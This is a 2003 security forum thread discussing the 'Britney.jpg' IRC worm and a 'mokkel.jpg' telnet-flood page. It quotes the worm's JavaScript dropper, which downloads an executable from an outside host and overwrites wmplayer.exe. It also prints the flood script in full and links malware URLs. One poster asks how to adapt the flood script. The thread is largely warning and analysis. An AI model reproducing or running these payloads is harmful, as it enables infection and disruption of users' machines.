Britney Virus

Printable View

October 27th, 2003, 09:35 PM
Viper2026

Britney Virus

Taken from www.ircspy.com

"Another internet worm was released through IRC networks. The worm is disguised as a .jpg picture named Britney.jpg from Angelfire. Whatever you do do not open britney links in Internet explorer.
An exploit taking advantage of holes in Internet Explorer along with Windows Media Player ensures the worm free passage to your computer, where it starts deleting system files and destroying the registry.
The effect of this is: no shortcuts work, no programs, except those already running will work. If mirc is running it will proceed by installing a script that announces the url to britney.jpg in all the channels you have joined. Some have mentioned that it even uploads sites.dat from your FlashFXP directory."

I got this from someone on IRC, I wouldn't adivse clicking it, although I have heard its already been removed.
http://www.angelfire.com/celeb2/picsx/britney.jpg
October 27th, 2003, 09:37 PM
prodikal

i seen it the other day when i was floating about in IRC pretty nasty sucks for all the people that will click the link thinking they will still get celeb pron ;)
October 27th, 2003, 09:41 PM
infernon

I'm still waiting for my Anna Kournikova pics!!!

;)
October 27th, 2003, 09:45 PM
gore

You think the virrii is bad, buy the dumb bitches CD.
October 27th, 2003, 10:04 PM
HANDzCLEANx

gore -> u are ****en right, he he he,nicely said......
October 28th, 2003, 12:35 AM
sumdumguy

I thinking.. "huh ? wtf ? there is no way you'll get a virus from a jpg"

but all those people over at ircspy.com are mistaken.. maybe it was britney.jpg.exe
or .jpg.vbs

I found this one link which pertains to this.. here

Quote:

2003-10-26 15:15 (+0200)

DO NOT CLICK ON britney.jpg!!!

Under no circumstances open an URL that ends with britney.jpg. It is actually
an Internet Explorer / Windows Media Player exploit, as shown below.

-----
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://scavenger.sharewith.us/patch.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
-----

patch.exe seems to be compressed with UPX, interesting strings can be found within.

0005 18E0 2F 2E 61 6D 73 67 20 68 74 74 70 3A 2F 2F 77 77 /.amsg http://ww
0005 18F0 77 2E 61 6E 67 65 6C 66 69 72 65 2E 63 6F 6D 2F w.angelfire.com/
0005 1900 63 65 6C 65 62 32 2F 70 69 63 73 78 2F 62 72 69 celeb2/picsx/bri
0005 1910 74 6E 65 79 2E 6A 70 67 20 3C 2D 20 75 75 68 2C tney.jpg <- uuh,
0005 1920 20 63 68 65 63 6B 20 69 74 20 6F 75 74 20 21 21 check it out !!

This is a command it sends automatically to mIRC. This causes mIRC to send the
exploit URL to all channels you are in.

It will replace/delete Windows system files. If that happens, you might get a
message of this sort: "Files that are required for Windows to run properly have
been replaced by unrecognized versions".

This is NOT the same thing as http://koti.phnet.fi/jonninen/mircworms/britny.txt.

15:30: At this time I don't know if the worm can be removed. If it manages to delete
your Windows system files, you'll have to reinstall Windows.

15:40: Angelfire and scavenger.sharewith.us have been informed of the exploit they
are hosting.

16:00: The first sighting of this was at about 14:29 in IRCnet, 14:34 (+0200) in
EFnet.

According to reports, simply "repairing" the Windows install or copying the deleted
files back isn't enough, since the virus also messes around with the Windows registry.
You'll have to reinstall Windows.

16:30: According to reports, the URL was seen in Quakenet at 14:13. Figures. :-)

16:40: According to reports, the URL was seen in IRCnet at 14:21 and at 14:32 in mIRC-X.

17:00: There's a list of Windows system files in the uncompressed version of patch.exe
starting at around offset 0x510c0, including (but not limited to) ntoskrnl.exe,
userinit.exe, services.exe, etc. There are also references to some anti-virus and
firewall programs in the immediate vicinity. The virus probably disables these
programs so that it can roam freely.

Reports say that the virus does not affect Windows 98, but it definitely affects
at least Windows 2000 and XP. Anti-virus software does not help you at this point,
since none of them recognize the virus yet.

The scavenger.sharewith.us site has been disabled. This prevents the virus from
infecting machines for now, but the Angelfire page is still up and the author of
the virus could modify the page to point to another location.

The IE exploit: http://www.security.nnov.ru/search/d...asp?docid=5102

17:30: The virus might not affect Windows Media Player version 8. (see
http://www.kb.cert.org/vuls/id/222044)

19:10: According to reports, the virus does affect WMP 8 as well. Better not open
any suspicious links as long as you use IE.
October 28th, 2003, 12:41 AM
Viper2026

Well I once had a url, it was something.jpg and it somehow flooded the pc that clicked it with telnet sessions. it was something like www.telefragged.nl/personaccouns/mokkel.jpg
I don't remember exactly, I'll go see if I can find it again.

UPDATE:
Here we go...
http://********fragged.nl/~nander/mokkel.jpg
Warning, clicking will flood you with telnets, so don't click unless you can safely lose your IE session. My AV picks it up as Trojan.VBS.IFrame (kaspersky)
October 28th, 2003, 01:09 AM
sumdumguy

yeah.. it's called a jpg.. but if you right click and do save as.. IE sees it as an html file.

here's an old article at slahdot that "debunked" the jpg virus theory
http://features.slashdot.org/feature....shtml?tid=166

but here is a report that says there is one in the wild.. no real explanation for it. (911.jpg)
http://www.eweek.com/article2/0%2C41...WMS102049TX1K0

and another thread that has a few links in it.. about something else.
http://www.flux.org/pipermail/talk/2...ne/003295.html

I mean.. I could see a png file coded with php disquised as a jpg.. (like that vipersig that a few were using here reporting your ip.. etc) doing it.. but not a "true jpg"..

interesting 'tho.. thanks for bringing to our attention, Viper

edit : out of curiousity.. I grabed that Mokkel file and opened it with notepad..

here's what was in it :

Quote:

<html>
<body>
<H1> </H1>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>

</body>
</html>
October 28th, 2003, 01:10 AM
nihil

Hi sumdumguy,

I have seen one .jpg virus, must be 2-3 years ago? a "proof of concept".............it was quite complicated, and a bit of a cheat as I recall?

"one off", "once off", "run once"............it was called something like that (McAfee definitions I believe)

I think it used some kind of Steganographic approach, and hid the virus code in a .jpg? it needed to load other stuff to go to the picture to recover the malware code.........any of you guys remember that one?

I seem to remember that it could only infect the target machine, and not spread any further using .jpg, so it could be used as a distribution tool I suppose.

Just my badly remembered £0.02

Cheers
EDIt it could have been called "onetime"?
October 28th, 2003, 01:24 AM
sumdumguy

yea I remember that too, nihil.. and i think we had a few discussions about it here..
but it couldn't lanuch itself.. like from within a photoeditor or a viewer..

I'm thinking that like this Mokkel thing.. the britney one just "appears" to be a normal jpg from the name only.. and it's true intentity is an html file..
October 28th, 2003, 01:31 AM
nihil

Yes, that's right, it just "hid" in the .jpg. I am inclined to agree that we are looking at a disguised executable here ( and our friend Gore certainly thinks that britney is executable :D )

I was a bit worried when I saw the .jpg description on its own!

Cheers
October 28th, 2003, 11:56 AM
Cerveza

Like the mokkel.jpg file this file is also an html file (according to bash)

Code:

knoppix@ttyp1[knoppix]$ file britney.jpg britney.jpg: HTML document text

Attached is the text.
October 28th, 2003, 01:13 PM
Noia

* Kils "reset message" button *

EDIT: Removed the URL encoded text because your browser evaluates is any way :eek:

URL Decoded (Same as some one pasted earlier)

Quote:

var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET", "http://scavenger.sharewith.us/patch.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2); location.href = "mms://";

I don't have time to fully decompile it, but it looks pretty clever.
- Noia
November 4th, 2003, 11:38 AM
creative_32X_mx

Well from what is being said, pretty soon me thinks that the internet will not be a safe place to wander around..
It's like a mine field, one wrong click of that mouse and BOOOOOOOM..
You got a Virus, Worm or you've had your system crashed..
Anyhow when ever i'm in Irc i don't click none of those cheesey links, no matter how big the temptation would be..
Because it will either be just another lame Porn site, or to something that doesn't interest me..
But by the way it looks i'm glad that i didn't click that link now..
I was so fruitin close to clickin it just to calm my curiosity..
Anyhow
Cheers
November 4th, 2003, 10:05 PM
Viper2026

Quote:

Originally posted here by creative_32X_mx
Well from what is being said, pretty soon me thinks that the internet will not be a safe place to wander around..
It's like a mine field, one wrong click of that mouse and BOOOOOOOM..
You got a Virus, Worm or you've had your system crashed..
Anyhow when ever i'm in Irc i don't click none of those cheesey links, no matter how big the temptation would be..
Because it will either be just another lame Porn site, or to something that doesn't interest me..
But by the way it looks i'm glad that i didn't click that link now..
I was so fruitin close to clickin it just to calm my curiosity..
Anyhow
Cheers

If you're referring to the britney virus, then it was smart not clicking. As they say "curiousity killed the cat". :D
November 5th, 2003, 04:19 AM
gore

Quote:

Originally posted here by Viper2026

If you're referring to the britney virus, then it was smart not clicking. As they say "curiousity killed the cat". :D

Well unless your a pussy you wont have much to worry about then right? Just use a *NIx box that you dont have hooked up online and you can prolly take this virii apart and see whats inside it.
November 5th, 2003, 04:43 AM
Sm0kinP0t

Besides the obvious (NOT clicking unknow links), what can an average user do to prevent this kind of infection?

I know that by email, if you disable the win option 'hide file extensions for know file types', you get to see the entire thing ur about to download, but in this case what can we do?
Is disabling ActiveX downloads enough?

We shouldn't need to be suspitious about everything :mad: virii makers suck !
November 5th, 2003, 04:46 AM
skiddieleet

I just modified that mokkel file so that it only does one telnet session so now if I want to telnet to a certain site i just go to that page. I was wondering what does the chr(34) do in this line:
document.write("<iframe src=" + chr(34) + "telnet://sdf.lonestar.org:23" + chr(34) + ">")
I thought maybe it had something to do with the lenght of the string but that doesn't seem to be the case. And is there a way to prompt for input so I can change the entry of the site to anything I want. Just trying to make use of something bad.
November 5th, 2003, 05:39 AM
Viper2026

Quote:

Originally posted here by h3r3tic
I just modified that mokkel file so that it only does one telnet session so now if I want to telnet to a certain site i just go to that page. I was wondering what does the chr(34) do in this line:
document.write("<iframe src=" + chr(34) + "telnet://sdf.lonestar.org:23" + chr(34) + ">")
I thought maybe it had something to do with the lenght of the string but that doesn't seem to be the case. And is there a way to prompt for input so I can change the entry of the site to anything I want. Just trying to make use of something bad.

Well I know that there is a javascript iframe explot with ie, that I don't think has been officially patched, so it looks as if that is calling telnet, and then it probably tells it to repeat somewhere else in the code (I haven't looked at it myself)
November 5th, 2003, 05:46 AM
gore

Quote:

Originally posted here by Sm0kinP0t
Besides the obvious (NOT clicking unknow links), what can an average user do to prevent this kind of infection?

Not open attachments called "****MyPC.exe" Not open ANY attachments they arent expecting. When they get an attachment, ask the person if they really sent it to them to be sure. Install update and run anti virii, install update and run a firewall, delete Windows, use Linux or any other OS on earth, take a computer basics class, read a computer book and LEARN.

Quote:

I know that by email, if you disable the win option 'hide file extensions for know file types', you get to see the entire thing ur about to download, but in this case what can we do?

Not use outlook or any other Windows email client honestly. That stupid preview **** really gets ya.

Quote:

Is disabling ActiveX downloads enough?

Prolly not ;)

Quote:

We shouldn't need to be suspitious about everything :mad: virii makers suck !

If it wasnt for virus writers, norton would never make a penny, there anti virii is there main product. Iv had virii before, well a few times from opening them myself knowing what they were. Virus writers are NOT the problem, OS writers ARE. Iv met a few virii writers who do not release there viruses for infection, but more or less turn it into an art form, and also for playing jokes. The original virii created on computers were on UNIX boxes and did basically one thing, play pranks.

Thats all they usually are still. If your server gets taken down by this prank, then learn to update your software or not use Windows, which is what they write virii for. Why do they do that? Well, almost everyone uses Windows, so why go for anything else? Besides it's fun when bill gates blushes :)
November 5th, 2003, 03:29 PM
allenb1963

Ahhh...reading this thread just makes me appreciate the benefits of using MailWasher. It gets rid of my spam and lets me look at all of my email while it's STILL ON THE SERVER...I can see who it's from, if it has an attachment, preview it and get rid of it before I even launch my email application. It (when used with a good AV program) is as close to an invisible condom for your email as you'll ever get.

www.mailwasher.net

Try it...you'll thank me later!
November 5th, 2003, 04:59 PM
Viper2026

Quote:

Originally posted here by allenb1963
Ahhh...reading this thread just makes me appreciate the benefits of using MailWasher. It gets rid of my spam and lets me look at all of my email while it's STILL ON THE SERVER...I can see who it's from, if it has an attachment, preview it and get rid of it before I even launch my email application. It (when used with a good AV program) is as close to an invisible condom for your email as you'll ever get.

www.mailwasher.net

Try it...you'll thank me later!

Or you could just not use outlook (and express), I personally use pegasus, which I don't think is affected by all the m$ exploits.
November 5th, 2003, 08:11 PM
gore

I use PINE, Mutt, Kmail and Ximians mail client usually ;)
November 5th, 2003, 08:22 PM
aeallison

He's Right

Quote:

Originally posted here by allenb1963
Ahhh...reading this thread just makes me appreciate the benefits of using MailWasher. It gets rid of my spam and lets me look at all of my email while it's STILL ON THE SERVER...I can see who it's from, if it has an attachment, preview it and get rid of it before I even launch my email application. It (when used with a good AV program) is as close to an invisible condom for your email as you'll ever get.

www.mailwasher.net

Try it...you'll thank me later!

Thank you Al, I did try this program. I read another thread that you mentioned this in. It is a very good program and I have been reccomending this to all of my dial-up customers.